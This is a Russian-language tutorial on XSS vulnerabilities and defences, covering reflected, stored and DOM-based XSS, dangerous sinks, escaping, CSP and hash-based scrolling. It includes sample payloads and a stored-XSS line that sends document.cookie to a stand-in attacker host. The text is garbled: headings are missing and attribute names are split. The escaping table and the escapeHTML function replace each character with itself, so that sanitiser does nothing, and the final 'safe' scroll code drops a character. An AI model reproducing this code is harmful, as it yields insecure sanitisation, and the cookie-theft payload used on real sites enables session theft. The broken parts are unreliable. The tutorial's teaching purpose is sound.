XSS (Cross-Site Scripting) — это тип уязвимостей веб-приложений, при котором злоумышленник внедряет вредоносный JavaScript-код в страницу, просматриваемую другими пользователями. Этот код выполняется в браузере жертвы в контексте доверенного сайта, что позволяет обходить механизмы безопасности.
Основная причина возникновения XSS — некорректная обработка пользовательского ввода и его последующий вывод в HTML без экранирования.
Веб-приложение принимает данные от пользователя (например, через форму или URL), затем отображает их на странице. Если данные вставляются напрямую в DOM без фильтрации:
<div>Имя пользователя: <script>alert('XSS')</script></div>
Браузер интерпретирует тег <script> и выполняет
код.
Ключевая особенность:
Вредоносный код передаётся через URL или форму и сразу возвращается в ответе сервера.
Пример:
// URL
https://site.com/search?q=<script>alert(1)</script>
Сервер возвращает:
Результаты поиска: <script>alert(1)</script>
Особенности:
Вредоносный код сохраняется на сервере (в базе данных) и выполняется при каждом отображении.
Пример:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
Особенности:
Возникает на стороне клиента, без участия сервера. Уязвимость связана с небезопасной работой с DOM.
Пример:
const query = location.hash;
document.getElementById('output').innerHTML = query;
URL:
https://site.com/#<img src=x oner ror=alert(1)>
Особенности:
Вредоносный код может внедряться в разные части страницы:
<div>{userInput}</div>
<img src="{userInput}">
let data = "{userInput}";
<a href="{userInput}">link</a>
Каждый контекст требует своего способа экранирования.
element.innerHTML = userInput;
document.write(userInput);
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
Основной способ защиты — преобразование специальных символов:
| Символ | Замена |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
Пример:
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
element.textContent = userInput;
Преимущество:
HTTP-заголовок:
Content-Security-Policy: default-src 'self'; script-src 'self'
Ограничивает:
Проверка данных перед обработкой:
const safe = /^[a-zA-Z0-9 ]+$/.test(userInput);
Однако валидация не заменяет экранирование.
Вместо:
element.innerHTML = "<b>" + userInput + "</b>";
Лучше:
const b = document.createElement("b");
b.textContent = userInput;
element.appendChild(b);
Современные фреймворки автоматически защищают от XSS:
{{ }}Опасность возникает при использовании:
dangerouslySetInnerHTML
v-html
При реализации плавной прокрутки часто используются:
#section)Уязвимости могут возникать при:
const id = location.hash;
document.querySelector(id).scrollIntoView();
Если id содержит вредоносный код — возможна атака через
DOM.
Безопасный вариант:
const id = location.hash.replace(/[^a-zA-Z0-9_-]/g, '');
output.innerHTML = location.search;
output.textContent = location.search;
const target = document.querySelector(location.hash);
target.scrollIntoView({ beh * avior: 'smooth' });
const hash = location.hash.replace(/[^a-zA-Z0-9_-]/g, '');
const target = document.getElementById(hash.slice(1));
if (target) {
target.scrollIntoView({ beh * avior: 'smooth' });
}
XSS остаётся одной из самых распространённых уязвимостей, особенно в JavaScript-приложениях, активно работающих с DOM и пользовательскими данными.